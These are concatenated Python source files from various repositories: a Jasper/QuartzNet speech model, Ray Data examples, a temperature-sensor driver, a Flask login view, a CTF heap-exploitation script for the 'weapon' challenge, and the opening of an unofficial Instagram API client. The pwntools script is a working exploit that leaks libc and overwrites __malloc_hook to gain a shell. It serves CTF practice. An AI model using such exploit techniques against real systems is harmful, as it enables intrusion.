data_format="channels_last", **kwargs): super(JasperFinalBlock, self).__init__(**kwargs) self.use_dr = use_dr conv1_class = DwsConvBlock1d if use_dw else MaskConvBlock1d self.conv1 = conv1_class( in_channels=in_channels, out_channels=channels[-2], kernel_size=kernel_sizes[-2], strides=1, padding=(2 * kernel_sizes[-2] // 2 - 1), dilation=2, bn_eps=bn_eps, dropout_rate=dropout_rates[-2], data_format=data_format, name="conv1") self.conv2 = MaskConvBlock1d( in_channels=channels[-2], out_channels=channels[-1], kernel_size=kernel_sizes[-1], strides=1, padding=(kernel_sizes[-1] // 2), bn_eps=bn_eps, dropout_rate=dropout_rates[-1], data_format=data_format, name="conv2") def call(self, x, x_len, training=None): if self.use_dr: x_len = x_len[0] x, x_len = self.conv1(x, x_len, training=training) x, x_len = self.conv2(x, x_len, training=training) return x, x_len class Jasper(tf.keras.Model): """ Jasper/DR/QuartzNet model from 'Jasper: An End-to-End Convolutional Neural Acoustic Model,' https://arxiv.org/abs/1904.03288. Parameters: ---------- channels : list of int Number of output channels for each unit and initial/final block. kernel_sizes : list of int Kernel sizes for each unit and initial/final block. bn_eps : float Small float added to variance in Batch norm. dropout_rates : list of int Dropout rates for each unit and initial/final block. repeat : int Count of body convolution blocks. use_dw : bool Whether to use depthwise block. use_dr : bool Whether to use dense residual scheme. in_channels : int, default 64 Number of input channels (audio features). classes : int, default 29 Number of classification classes (number of graphemes). data_format : str, default 'channels_last' The ordering of the dimensions in tensors. """ def __init__(self, channels, kernel_sizes, bn_eps, dropout_rates, repeat, use_dw, use_dr, in_channels=64, classes=29, data_format="channels_last", **kwargs): super(Jasper, self).__init__(**kwargs) self.in_size = None self.in_channels = in_channels self.classes = classes self.data_format = data_format self.features = DualPathSequential(name="features") init_block_class = DwsConvBlock1d if use_dw else MaskConvBlock1d self.features.add(init_block_class( in_channels=in_channels, out_channels=channels[0], kernel_size=kernel_sizes[0], strides=2, padding=(kernel_sizes[0] // 2), bn_eps=bn_eps, dropout_rate=dropout_rates[0], data_format=data_format, name="init_block")) in_channels = channels[0] in_channels_list = [] for i, (out_channels, kernel_size, dropout_rate) in \ enumerate(zip(channels[1:-2], kernel_sizes[1:-2], dropout_rates[1:-2])): in_channels_list += [in_channels] self.features.add(JasperUnit( in_channels=(in_channels_list if use_dr else in_channels), out_channels=out_channels, kernel_size=kernel_size, bn_eps=bn_eps, dropout_rate=dropout_rate, repeat=repeat, use_dw=use_dw, use_dr=use_dr, data_format=data_format, name="unit{}".format(i + 1))) in_channels = out_channels self.features.add(JasperFinalBlock( in_channels=in_channels, channels=channels, kernel_sizes=kernel_sizes, bn_eps=bn_eps, dropout_rates=dropout_rates, use_dw=use_dw, use_dr=use_dr, data_format=data_format, name="final_block")) in_channels = channels[-1] self.output1 = conv1d1( in_channels=in_channels, out_channels=classes, use_bias=True, data_format=data_format, name="output1") def call(self, x, x_len, training=None): x, x_len = self.features(x, x_len, training=training) x = self.output1(x) return x, x_len def get_jasper(version, use_dw=False, use_dr=False, bn_eps=1e-3, model_name=None, pretrained=False, root=os.path.join("~", ".tensorflow", "models"), **kwargs): """ Create Jasper/DR/QuartzNet model with specific parameters. Parameters: ---------- version : tuple of str Model type and configuration. use_dw : bool, default False Whether to use depthwise block. use_dr : bool, default False Whether to use dense residual scheme. bn_eps : float, default 1e-3 Small float added to variance in Batch norm. model_name : str or None, default None Model name for loading pretrained model. pretrained : bool, default False Whether to load the pretrained weights for model. root : str, default '~/.tensorflow/models' Location for keeping the model parameters. """ import numpy as np blocks, repeat = tuple(map(int, version[1].split("x"))) main_stage_repeat = blocks // 5 model_type = version[0] if model_type == "jasper": channels_per_stage = [256, 256, 384, 512, 640, 768, 896, 1024] kernel_sizes_per_stage = [11, 11, 13, 17, 21, 25, 29, 1] dropout_rates_per_stage = [0.2, 0.2, 0.2, 0.2, 0.3, 0.3, 0.4, 0.4] elif model_type == "quartznet": channels_per_stage = [256, 256, 256, 512, 512, 512, 512, 1024] kernel_sizes_per_stage = [33, 33, 39, 51, 63, 75, 87, 1] dropout_rates_per_stage = [0.0] * 8 else: raise ValueError("Unsupported Jasper family model type: {}".format(model_type)) stage_repeat = np.full((8,), 1) stage_repeat[1:-2] *= main_stage_repeat channels = sum([[a] * r for (a, r) in zip(channels_per_stage, stage_repeat)], []) kernel_sizes = sum([[a] * r for (a, r) in zip(kernel_sizes_per_stage, stage_repeat)], []) dropout_rates = sum([[a] * r for (a, r) in zip(dropout_rates_per_stage, stage_repeat)], []) net = Jasper( channels=channels, kernel_sizes=kernel_sizes, bn_eps=bn_eps, dropout_rates=dropout_rates, repeat=repeat, use_dw=use_dw, use_dr=use_dr, **kwargs) if pretrained: if (model_name is None) or (not model_name): raise ValueError("Parameter `model_name` should be properly initialized for loading pretrained model.") from .model_store import get_model_file in_channels = kwargs["in_channels"] if ("in_channels" in kwargs) else 3 input_shape = (1,) + (in_channels,) + net.in_size if net.data_format == "channels_first" else\ (1,) + net.in_size + (in_channels,) net.build(input_shape=input_shape) net.load_weights( filepath=get_model_file( model_name=model_name, local_model_store_dir_path=root)) return net def jasper5x3(**kwargs): """ Jasper 5x3 model from 'Jasper: An End-to-End Convolutional Neural Acoustic Model,' https://arxiv.org/abs/1904.03288. Parameters: ---------- pretrained : bool, default False Whether to load the pretrained weights for model. root : str, default '~/.tensorflow/models' Location for keeping the model parameters. """ return get_jasper(version=("jasper", "5x3"), model_name="jasper5x3", **kwargs) def jasper10x4(**kwargs): """ Jasper 10x4 model from 'Jasper: An End-to-End Convolutional Neural Acoustic Model,' https://arxiv.org/abs/1904.03288. Parameters: ---------- pretrained : bool, default False Whether to load the pretrained weights for model. root : str, default '~/.tensorflow/models' Location for keeping the model parameters. """ return get_jasper(version=("jasper", "10x4"), model_name="jasper10x4", **kwargs) def jasper10x5(**kwargs): """ Jasper 10x5 model from 'Jasper: An End-to-End Convolutional Neural Acoustic Model,' https://arxiv.org/abs/1904.03288. Parameters: ---------- pretrained : bool, default False Whether to load the pretrained weights for model. root : str, default '~/.tensorflow/models' Location for keeping the model parameters. """ return get_jasper(version=("jasper", "10x5"), model_name="jasper10x5", **kwargs) def _test(): import numpy as np import tensorflow.keras.backend as K # data_format = "channels_last" data_format = "channels_first" pretrained = False audio_features = 64 classes = 29 models = [ jasper5x3, jasper10x4, jasper10x5, ] for model in models: net = model( in_channels=audio_features, classes=classes, pretrained=pretrained, data_format=data_format) batch = 3 seq_len = np.random.randint(60, 150) # seq_len = 90 x = tf.random.normal((batch, audio_features, seq_len) if is_channels_first(data_format) else (batch, seq_len, audio_features)) x_len = tf.convert_to_tensor(np.array([seq_len - 2], dtype=np.long)) y, y_len = net(x, x_len) assert (y.shape.as_list()[0] == batch) if is_channels_first(data_format): assert (y.shape.as_list()[1] == classes) assert (y.shape.as_list()[2] in [seq_len // 2, seq_len // 2 + 1]) else: assert (y.shape.as_list()[1] in [seq_len // 2, seq_len // 2 + 1]) assert (y.shape.as_list()[2] == classes) weight_count = sum([np.prod(K.get_value(w).shape) for w in net.trainable_weights]) print("m={}, {}".format(model.__name__, weight_count)) assert (model != jasper5x3 or weight_count == 107681053) assert (model != jasper10x4 or weight_count == 261393693) assert (model != jasper10x5 or weight_count == 322286877) if __name__ == "__main__": _test()

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# flake8: noqa # isort: skip_file # fmt: off # __simple_map_function_start__ import ray ds = ray.data.read_csv("example://iris.csv") def map_function(data): return data[data["sepal.length"] < 5] batch = ds.take_batch(10, batch_format="pandas") mapped_batch = map_function(batch) transformed = ds.map_batches(map_function, batch_format="pandas", batch_size=10) # __simple_map_function_end__ # __simple_pandas_start__ import ray import pandas as pd ds = ray.data.read_csv("example://iris.csv") ds.show(1) # -> {'sepal.length': 5.1, ..., 'petal.width': 0.2, 'variety': 'Setosa'} def transform_pandas(df_batch: pd.DataFrame) -> pd.DataFrame: df_batch = df_batch[df_batch["variety"] == "Versicolor"] df_batch.loc[:, "normalized.sepal.length"] = df_batch["sepal.length"] / df_batch["sepal.length"].max() df_batch = df_batch.drop(columns=["sepal.length"]) return df_batch ds.map_batches(transform_pandas, batch_format="pandas").show(1) # -> {..., 'variety': 'Versicolor', 'normalized.sepal.length': 1.0} # __simple_pandas_end__ # __simple_numpy_start__ from typing import Dict import ray import numpy as np from typing import Dict ds = ray.data.range_tensor(1000, shape=(2, 2)) def transform_numpy(arr: Dict[str, np.ndarray]) -> Dict[str, np.ndarray]: arr["data"] = arr["data"] * 2 return arr # test map function on a batch batch = ds.take_batch(1) mapped_batch = transform_numpy(batch) ds.map_batches(transform_numpy) # __simple_numpy_end__ # __simple_pyarrow_start__ import ray import pyarrow as pa import pyarrow.compute as pac ds = ray.data.read_csv("example://iris.csv") def transform_pyarrow(batch: pa.Table) -> pa.Table: batch = batch.filter(pac.equal(batch["variety"], "Versicolor")) return batch.drop(["sepal.length"]) # test map function on a batch batch = ds.take_batch(1, batch_format="pyarrow") mapped_batch = transform_pyarrow(batch) ds.map_batches(transform_pyarrow, batch_format="pyarrow").show(1) # -> {'sepal.width': 3.2, ..., 'variety': 'Versicolor'} # __simple_pyarrow_end__ # fmt: on

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ericl.noreply@github.com

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/ADT75.py

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ncdcommunity/Raspberry_pi_ADT75_Temperature_Sensor_Python_Library

c495d8db53f3d87585ab8a3eac883ede5dcd5bb4

e42bad0d5e057cf309d06b69b44b62ad4cca1da1

refs/heads/master

2021-09-05T15:16:24.670890

2018-01-29T07:03:01

null

0

null

UTF-8

Python

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2,064

py

# Distributed with a free-will license. # Use it any way you want, profit or free, provided it fits in the licenses of its associated works. # ADT75 # This code is designed to work with the ADT75_I2CS I2C Mini Module available from ControlEverything.com. # https://www.controleverything.com/content/Temperature?sku=ADT75_I2CS#tabs-0-product_tabset-2 import smbus import time # Get I2C bus bus = smbus.SMBus(1) # I2C Address of the device ADT75_DEFAULT_ADDRESS = 0x48 # ADT75 Register Map ADT75_REG_TEMP = 0x00 # Temperature Value ADT75_REG_CONFIG = 0x01 # Configuration Register ADT75_REG_THYST = 0x02 # THYST setpoint ADT75_REG_TOS = 0x03 # TOS setpoint # ADT75 Configuration Register ADT75_MODE_NORMAL = 0x00 # Normal Mode ADT75_MODE_ONESHOT = 0x20 # One-Shot Mode ADT75_FAULTQUEUE_1 = 0x00 # Fault Queue = 1 ADT75_FAULTQUEUE_2 = 0x08 # Fault Queue = 2 ADT75_FAULTQUEUE_4 = 0x10 # Fault Queue = 4 ADT75_FAULTQUEUE_6 = 0x18 # Fault Queue = 6 ADT75_MODE_CMP = 0x00 # Comparater Mode ADT75_MODE_INT = 0x02 # Interrupt Mode ADT75_MODE_SHUTDOWN = 0x01 # Shutdown Mode class ADT75(): def __init__(self): self.temp_configuration() def temp_configuration(self): """Select the temperature configuration from the given provided values""" TEMP_CONFIG = (ADT75_MODE_NORMAL | ADT75_FAULTQUEUE_1 | ADT75_MODE_CMP) bus.write_byte_data(ADT75_DEFAULT_ADDRESS, ADT75_REG_CONFIG, TEMP_CONFIG) def read_temp(self): """Read data back from ADT75_REG_TEMP(0x00), 2 bytes, temp MSB, temp LSB""" data = bus.read_i2c_block_data(ADT75_DEFAULT_ADDRESS, ADT75_REG_TEMP, 2) # Convert the data to 12-bits temp = ((data[0] * 256) + data[1]) / 16 if temp > 2047 : temp -= 4096 cTemp = temp * 0.0625 fTemp = (cTemp * 1.8) + 32 return {'c' : cTemp, 'f' : fTemp} from ADT75 import ADT75 adt75 = ADT75() while True: temp = adt75.read_temp() print "Temperature in Celsius : %.2f C"%(temp['c']) print "Temperature in Fahrenheit : %.2f F"%(temp['f']) print " ***************************************** " time.sleep(1)

[ "ryker1990@gmail.com" ]

ryker1990@gmail.com

e05e44ea2d5ee7d245bc918ab507c0a29739aaae

8692807f1dfa8c18c61df07cfafbbd27d4e66fba

/LONG-CHALLENGE/PROXYC.sol.py

cead1b911458e67e7b124171a7ef3ddec767cfb8

[]

no_license

sharmakajal0/codechef_problems

00381e9bf1996b859e46f087c2ffafd9d7a10ef1

0b979029e0a821f47fbdd6f9c624daee785a02e7

refs/heads/master

2020-05-29T15:04:40.459979

2020-03-29T08:44:53

189,212,028

0

null

UTF-8

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false

735

py

#!/usr/bin/env python import string import random for _ in range(int(input())): D = int(input()) P = 0 proxy = 0 S = input() for i in range(len(S)): if(S[i] == 'P'): P += 1 A = P/D if A >= 0.75: print(proxy) else: for d in range(D): if d == 1 and d == 2 and d == D - 1 and d == D - 2: proxy += 0 elif d == 'P' and d + 1 =='P': proxy += 1 else: proxy += 0 continue # else: # proxy = proxy + 1 # break P = P + proxy A = P / D if A >= 0.75: print(proxy) else: print("-1")

[ "sharma.kajal.sitm@gmail.com" ]

sharma.kajal.sitm@gmail.com

c339f9eb2a18aa108c8f03d0636db2b68a387b05

487aab917a808b30ebeccf90cd15ed59ac9d776b

/Server/app/views/account/auth.py

00563a701cf1bf96abd6f713b7d59feb79dee4b7

[]

no_license

DSM-DMS/DMS-OpenAPI-Backend

62fffc913b5cb562fbca3333223f8abfb2cf2a8a

1f0c434e98c4cc5d2150af6f533109b1797d8659

refs/heads/master

2020-03-20T19:48:56.576943

2018-06-18T06:45:05

137,655,168

3

0

null

UTF-8

Python

false

1,104

py

from flask import Blueprint, Response, request from flask_jwt_extended import create_access_token, create_refresh_token from flask_restful import Api from flasgger import swag_from from app.docs.account.auth import * from app.models.account import StudentModel, TokenModel, AccessTokenModel, RefreshTokenModel from app.views import BaseResource, json_required api = Api(Blueprint(__name__, __name__)) api.prefix = '/student' @api.resource('/auth') class Auth(BaseResource): @json_required({'id': str, 'password': str}) @swag_from(AUTH_POST) def post(self): """ 학생 로그인 """ payload = request.json student = StudentModel.objects(id=payload['id'], pw=self.encrypt_password(payload['password'])).first() return ({ 'accessToken': create_access_token(TokenModel.generate_token(AccessTokenModel, student, request.headers['USER-AGENT'])), 'refreshToken': create_refresh_token(TokenModel.generate_token(RefreshTokenModel, student, request.headers['USER-AGENT'])) }, 201) if student else Response('', 401)

[ "python@istruly.sexy" ]

python@istruly.sexy

204b4e459a1699224604a3af5706b1de46d495db

673e829dda9583c8dd2ac8d958ba1dc304bffeaf

/data/multilingual/Latn.TZH/Serif_12/pdf_to_json_test_Latn.TZH_Serif_12.py

cd6289fc1d1643cc357cf40015e0694b8ed2d3ee

[ "BSD-3-Clause" ]

permissive

antoinecarme/pdf_to_json_tests

58bab9f6ba263531e69f793233ddc4d33b783b7e

d57a024fde862e698d916a1178f285883d7a3b2f

refs/heads/master

2021-01-26T08:41:47.327804

2020-02-27T15:54:48

243,359,934

2

1

null

UTF-8

Python

false

305

py

import pdf_to_json as p2j import json url = "file:data/multilingual/Latn.TZH/Serif_12/udhr_Latn.TZH_Serif_12.pdf" lConverter = p2j.pdf_to_json.pdf_to_json_converter() lConverter.mImageHashOnly = True lDict = lConverter.convert(url) print(json.dumps(lDict, indent=4, ensure_ascii=False, sort_keys=True))

[ "antoine.carme@laposte.net" ]

antoine.carme@laposte.net

337cee5e29835896cab1957d702d1c6c2b4c4d23

7e40c8bb28c2cee8e023751557b90ef7ef518326

/de1ctf_2019_weapon/de1ctf_2019_weapon.py

b20af85652888221b9c83fe6865667fded000806

[]

no_license

1337536723/buuctf_pwn

b6e5d65372ed0638a722faef1775026a89321fa3

cca3c4151a50c7d7c3237dab2c5a283dbcf6fccf

refs/heads/master

2023-08-29T19:35:04.352530

2021-11-16T14:06:20

null

0

null

UTF-8

Python

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2,409

py

from pwn import * #libc = ELF('libc-2.23.so') libc = ELF('libc-2.23.buu.so') def debug(s): gdb.attach(p, ''' source ~/libc/loadsym.py loadsym ~/libc/2.23/64/libc-2.23.debug.so ''' + s) def alloc(index, size, name): p.sendlineafter(b'choice >> ', b'1') p.sendlineafter(b'size of weapon: ', str(size).encode()) p.sendlineafter(b'index: ', str(index).encode()) p.sendafter(b'name:', name) def delete(index): p.sendlineafter(b'choice >> ', b'2') p.sendlineafter(b'idx :', str(index).encode()) def edit(index, name): p.sendlineafter(b'choice >> ', b'3') p.sendlineafter(b'idx: ', str(index).encode()) p.sendafter(b'content:', name) def exploit(): alloc(0, 0x20, p64(0) + p64(0x21)) alloc(1, 0x10, b'a') alloc(2, 0x10, b'a') #wtf, glibc will check the header of next chunk while free, so we need to write a fake header (0x70, 0x51) alloc(3, 0x10, p64(0x70) + p64(0x51)) delete(1) delete(2) edit(2, b'\x10') alloc(1, 0x10, b'a') alloc(1, 0x10, b'a') alloc(4 ,0x30, b'a') alloc(5 ,0x30, b'a') alloc(6, 0x10, b'a') edit(0, p64(0) + p64(0x71)) delete(1) edit(0, p64(0) + p64(0x101)) delete(1) edit(0, p64(0) + p64(0x71)) edit(1, b'\xdd\x75') alloc(0, 0x60, b'a') alloc(0, 0x60, b'a') alloc(6, 0x60, b'a') payload = b'a' * ( 0x620 - 0x5ed ) + p64(0xfbad1800) + p64(0) * 3 + b'\x00' edit(0, payload) p.recvuntil(b'\x7f') libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 131 - libc.sym['_IO_2_1_stdout_'] malloc_hook = libc_base + libc.sym['__malloc_hook'] success('libc_base -> {}'.format(hex(libc_base))) one_gadgets = [0x45206, 0x4525a, 0xef9f4, 0xf0897] one_gadgets_buu = [0x45216, 0x4526a, 0xf02a4, 0xf1147] one = libc_base + one_gadgets_buu[3] delete(6) edit(6, p64(malloc_hook - 0x23)) #context.log_level = 'debug' alloc(6, 0x60, b'a') alloc(6, 0x60, b'a' * 0x13 + p64(one)) p.sendlineafter(b'choice >> ', b'1') p.sendlineafter(b'size of weapon: ', b'1') p.sendlineafter(b'index: ', b'1') p.interactive() if __name__ == '__main__': flag = False while not flag: try: #p = process('./de1ctf_2019_weapon') p = remote('node4.buuoj.cn', 25710) exploit() flag = True except: p.close()

[ "admin@srmxy.cn" ]

admin@srmxy.cn

9e4f89252c66d18fd18e1467a488c675ac89d9bc

9e679192c0396ca9dadde55d8e6d3a746c446367

/cineBot/lib/python3.6/site-packages/InstagramAPI/InstagramAPI.py

27409550b3db4f29318f333c7304c92a51772bd6

[ "MIT" ]

permissive

furkanalpereny/cineBot

74dfa10e5760f0a2496ca9b8801479d9084d5df7

cb93b6fc6ab25ba0601067f54b6824a8462f470d

refs/heads/master

2022-12-10T10:16:11.006211

2019-12-23T04:11:00

227,674,856

0

MIT

2022-12-08T03:19:12

2019-12-12T18:50:06

Python

UTF-8

Python

false

53,745

py

#!/usr/bin/env python # -*- coding: utf-8 -*- import requests import random import json import hashlib import hmac import urllib import uuid import time import copy import math import sys from datetime import datetime import calendar import os from requests_toolbelt import MultipartEncoder # Turn off InsecureRequestWarning from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) try: from moviepy.editor import VideoFileClip except: print("Fail to import moviepy. Need only for Video upload.") # The urllib library was split into other modules from Python 2 to Python 3 if sys.version_info.major == 3: import urllib.parse try: from ImageUtils import getImageSize except: # Issue 159, python3 import fix from .ImageUtils import getImageSize class InstagramAPI: API_URL = 'https://i.instagram.com/api/v1/' DEVICE_SETTINTS = {'manufacturer': 'Xiaomi', 'model': 'HM 1SW', 'android_version': 18, 'android_release': '4.3'} USER_AGENT = 'Instagram 10.26.0 Android ({android_version}/{android_release}; 320dpi; 720x1280; {manufacturer}; {model}; armani; qcom; en_US)'.format(**DEVICE_SETTINTS) IG_SIG_KEY = '4f8732eb9ba7d1c8e8897a75d6474d4eb3f5279137431b2aafb71fafe2abe178' EXPERIMENTS = 'ig_promote_reach_objective_fix_universe,ig_android_universe_video_production,ig_search_client_h1_2017_holdout,ig_android_live_follow_from_comments_universe,ig_android_carousel_non_square_creation,ig_android_live_analytics,ig_android_follow_all_dialog_confirmation_copy,ig_android_stories_server_coverframe,ig_android_video_captions_universe,ig_android_offline_location_feed,ig_android_direct_inbox_retry_seen_state,ig_android_ontact_invite_universe,ig_android_live_broadcast_blacklist,ig_android_insta_video_reconnect_viewers,ig_android_ad_async_ads_universe,ig_android_search_clear_layout_universe,ig_android_shopping_reporting,ig_android_stories_surface_universe,ig_android_verified_comments_universe,ig_android_preload_media_ahead_in_current_reel,android_instagram_prefetch_suggestions_universe,ig_android_reel_viewer_fetch_missing_reels_universe,ig_android_direct_search_share_sheet_universe,ig_android_business_promote_tooltip,ig_android_direct_blue_tab,ig_android_async_network_tweak_universe,ig_android_elevate_main_thread_priority_universe,ig_android_stories_gallery_nux,ig_android_instavideo_remove_nux_comments,ig_video_copyright_whitelist,ig_react_native_inline_insights_with_relay,ig_android_direct_thread_message_animation,ig_android_draw_rainbow_client_universe,ig_android_direct_link_style,ig_android_live_heart_enhancements_universe,ig_android_rtc_reshare,ig_android_preload_item_count_in_reel_viewer_buffer,ig_android_users_bootstrap_service,ig_android_auto_retry_post_mode,ig_android_shopping,ig_android_main_feed_seen_state_dont_send_info_on_tail_load,ig_fbns_preload_default,ig_android_gesture_dismiss_reel_viewer,ig_android_tool_tip,ig_android_ad_logger_funnel_logging_universe,ig_android_gallery_grid_column_count_universe,ig_android_business_new_ads_payment_universe,ig_android_direct_links,ig_android_audience_control,ig_android_live_encore_consumption_settings_universe,ig_perf_android_holdout,ig_android_cache_contact_import_list,ig_android_links_receivers,ig_android_ad_impression_backtest,ig_android_list_redesign,ig_android_stories_separate_overlay_creation,ig_android_stop_video_recording_fix_universe,ig_android_render_video_segmentation,ig_android_live_encore_reel_chaining_universe,ig_android_sync_on_background_enhanced_10_25,ig_android_immersive_viewer,ig_android_mqtt_skywalker,ig_fbns_push,ig_android_ad_watchmore_overlay_universe,ig_android_react_native_universe,ig_android_profile_tabs_redesign_universe,ig_android_live_consumption_abr,ig_android_story_viewer_social_context,ig_android_hide_post_in_feed,ig_android_video_loopcount_int,ig_android_enable_main_feed_reel_tray_preloading,ig_android_camera_upsell_dialog,ig_android_ad_watchbrowse_universe,ig_android_internal_research_settings,ig_android_search_people_tag_universe,ig_android_react_native_ota,ig_android_enable_concurrent_request,ig_android_react_native_stories_grid_view,ig_android_business_stories_inline_insights,ig_android_log_mediacodec_info,ig_android_direct_expiring_media_loading_errors,ig_video_use_sve_universe,ig_android_cold_start_feed_request,ig_android_enable_zero_rating,ig_android_reverse_audio,ig_android_branded_content_three_line_ui_universe,ig_android_live_encore_production_universe,ig_stories_music_sticker,ig_android_stories_teach_gallery_location,ig_android_http_stack_experiment_2017,ig_android_stories_device_tilt,ig_android_pending_request_search_bar,ig_android_fb_topsearch_sgp_fork_request,ig_android_seen_state_with_view_info,ig_android_animation_perf_reporter_timeout,ig_android_new_block_flow,ig_android_story_tray_title_play_all_v2,ig_android_direct_address_links,ig_android_stories_archive_universe,ig_android_save_collections_cover_photo,ig_android_live_webrtc_livewith_production,ig_android_sign_video_url,ig_android_stories_video_prefetch_kb,ig_android_stories_create_flow_favorites_tooltip,ig_android_live_stop_broadcast_on_404,ig_android_live_viewer_invite_universe,ig_android_promotion_feedback_channel,ig_android_render_iframe_interval,ig_android_accessibility_logging_universe,ig_android_camera_shortcut_universe,ig_android_use_one_cookie_store_per_user_override,ig_profile_holdout_2017_universe,ig_android_stories_server_brushes,ig_android_ad_media_url_logging_universe,ig_android_shopping_tag_nux_text_universe,ig_android_comments_single_reply_universe,ig_android_stories_video_loading_spinner_improvements,ig_android_collections_cache,ig_android_comment_api_spam_universe,ig_android_facebook_twitter_profile_photos,ig_android_shopping_tag_creation_universe,ig_story_camera_reverse_video_experiment,ig_android_direct_bump_selected_recipients,ig_android_ad_cta_haptic_feedback_universe,ig_android_vertical_share_sheet_experiment,ig_android_family_bridge_share,ig_android_search,ig_android_insta_video_consumption_titles,ig_android_stories_gallery_preview_button,ig_android_fb_auth_education,ig_android_camera_universe,ig_android_me_only_universe,ig_android_instavideo_audio_only_mode,ig_android_user_profile_chaining_icon,ig_android_live_video_reactions_consumption_universe,ig_android_stories_hashtag_text,ig_android_post_live_badge_universe,ig_android_swipe_fragment_container,ig_android_search_users_universe,ig_android_live_save_to_camera_roll_universe,ig_creation_growth_holdout,ig_android_sticker_region_tracking,ig_android_unified_inbox,ig_android_live_new_watch_time,ig_android_offline_main_feed_10_11,ig_import_biz_contact_to_page,ig_android_live_encore_consumption_universe,ig_android_experimental_filters,ig_android_search_client_matching_2,ig_android_react_native_inline_insights_v2,ig_android_business_conversion_value_prop_v2,ig_android_redirect_to_low_latency_universe,ig_android_ad_show_new_awr_universe,ig_family_bridges_holdout_universe,ig_android_background_explore_fetch,ig_android_following_follower_social_context,ig_android_video_keep_screen_on,ig_android_ad_leadgen_relay_modern,ig_android_profile_photo_as_media,ig_android_insta_video_consumption_infra,ig_android_ad_watchlead_universe,ig_android_direct_prefetch_direct_story_json,ig_android_shopping_react_native,ig_android_top_live_profile_pics_universe,ig_android_direct_phone_number_links,ig_android_stories_weblink_creation,ig_android_direct_search_new_thread_universe,ig_android_histogram_reporter,ig_android_direct_on_profile_universe,ig_android_network_cancellation,ig_android_background_reel_fetch,ig_android_react_native_insights,ig_android_insta_video_audio_encoder,ig_android_family_bridge_bookmarks,ig_android_data_usage_network_layer,ig_android_universal_instagram_deep_links,ig_android_dash_for_vod_universe,ig_android_modular_tab_discover_people_redesign,ig_android_mas_sticker_upsell_dialog_universe,ig_android_ad_add_per_event_counter_to_logging_event,ig_android_sticky_header_top_chrome_optimization,ig_android_rtl,ig_android_biz_conversion_page_pre_select,ig_android_promote_from_profile_button,ig_android_live_broadcaster_invite_universe,ig_android_share_spinner,ig_android_text_action,ig_android_own_reel_title_universe,ig_promotions_unit_in_insights_landing_page,ig_android_business_settings_header_univ,ig_android_save_longpress_tooltip,ig_android_constrain_image_size_universe,ig_android_business_new_graphql_endpoint_universe,ig_ranking_following,ig_android_stories_profile_camera_entry_point,ig_android_universe_reel_video_production,ig_android_power_metrics,ig_android_sfplt,ig_android_offline_hashtag_feed,ig_android_live_skin_smooth,ig_android_direct_inbox_search,ig_android_stories_posting_offline_ui,ig_android_sidecar_video_upload_universe,ig_android_promotion_manager_entry_point_universe,ig_android_direct_reply_audience_upgrade,ig_android_swipe_navigation_x_angle_universe,ig_android_offline_mode_holdout,ig_android_live_send_user_location,ig_android_direct_fetch_before_push_notif,ig_android_non_square_first,ig_android_insta_video_drawing,ig_android_swipeablefilters_universe,ig_android_live_notification_control_universe,ig_android_analytics_logger_running_background_universe,ig_android_save_all,ig_android_reel_viewer_data_buffer_size,ig_direct_quality_holdout_universe,ig_android_family_bridge_discover,ig_android_react_native_restart_after_error_universe,ig_android_startup_manager,ig_story_tray_peek_content_universe,ig_android_profile,ig_android_high_res_upload_2,ig_android_http_service_same_thread,ig_android_scroll_to_dismiss_keyboard,ig_android_remove_followers_universe,ig_android_skip_video_render,ig_android_story_timestamps,ig_android_live_viewer_comment_prompt_universe,ig_profile_holdout_universe,ig_android_react_native_insights_grid_view,ig_stories_selfie_sticker,ig_android_stories_reply_composer_redesign,ig_android_streamline_page_creation,ig_explore_netego,ig_android_ig4b_connect_fb_button_universe,ig_android_feed_util_rect_optimization,ig_android_rendering_controls,ig_android_os_version_blocking,ig_android_encoder_width_safe_multiple_16,ig_search_new_bootstrap_holdout_universe,ig_android_snippets_profile_nux,ig_android_e2e_optimization_universe,ig_android_comments_logging_universe,ig_shopping_insights,ig_android_save_collections,ig_android_live_see_fewer_videos_like_this_universe,ig_android_show_new_contact_import_dialog,ig_android_live_view_profile_from_comments_universe,ig_fbns_blocked,ig_formats_and_feedbacks_holdout_universe,ig_android_reduce_view_pager_buffer,ig_android_instavideo_periodic_notif,ig_search_user_auto_complete_cache_sync_ttl,ig_android_marauder_update_frequency,ig_android_suggest_password_reset_on_oneclick_login,ig_android_promotion_entry_from_ads_manager_universe,ig_android_live_special_codec_size_list,ig_android_enable_share_to_messenger,ig_android_background_main_feed_fetch,ig_android_live_video_reactions_creation_universe,ig_android_channels_home,ig_android_sidecar_gallery_universe,ig_android_upload_reliability_universe,ig_migrate_mediav2_universe,ig_android_insta_video_broadcaster_infra_perf,ig_android_business_conversion_social_context,android_ig_fbns_kill_switch,ig_android_live_webrtc_livewith_consumption,ig_android_destroy_swipe_fragment,ig_android_react_native_universe_kill_switch,ig_android_stories_book_universe,ig_android_all_videoplayback_persisting_sound,ig_android_draw_eraser_universe,ig_direct_search_new_bootstrap_holdout_universe,ig_android_cache_layer_bytes_threshold,ig_android_search_hash_tag_and_username_universe,ig_android_business_promotion,ig_android_direct_search_recipients_controller_universe,ig_android_ad_show_full_name_universe,ig_android_anrwatchdog,ig_android_qp_kill_switch,ig_android_2fac,ig_direct_bypass_group_size_limit_universe,ig_android_promote_simplified_flow,ig_android_share_to_whatsapp,ig_android_hide_bottom_nav_bar_on_discover_people,ig_fbns_dump_ids,ig_android_hands_free_before_reverse,ig_android_skywalker_live_event_start_end,ig_android_live_join_comment_ui_change,ig_android_direct_search_story_recipients_universe,ig_android_direct_full_size_gallery_upload,ig_android_ad_browser_gesture_control,ig_channel_server_experiments,ig_android_video_cover_frame_from_original_as_fallback,ig_android_ad_watchinstall_universe,ig_android_ad_viewability_logging_universe,ig_android_new_optic,ig_android_direct_visual_replies,ig_android_stories_search_reel_mentions_universe,ig_android_threaded_comments_universe,ig_android_mark_reel_seen_on_Swipe_forward,ig_internal_ui_for_lazy_loaded_modules_experiment,ig_fbns_shared,ig_android_capture_slowmo_mode,ig_android_live_viewers_list_search_bar,ig_android_video_single_surface,ig_android_offline_reel_feed,ig_android_video_download_logging,ig_android_last_edits,ig_android_exoplayer_4142,ig_android_post_live_viewer_count_privacy_universe,ig_android_activity_feed_click_state,ig_android_snippets_haptic_feedback,ig_android_gl_drawing_marks_after_undo_backing,ig_android_mark_seen_state_on_viewed_impression,ig_android_live_backgrounded_reminder_universe,ig_android_live_hide_viewer_nux_universe,ig_android_live_monotonic_pts,ig_android_search_top_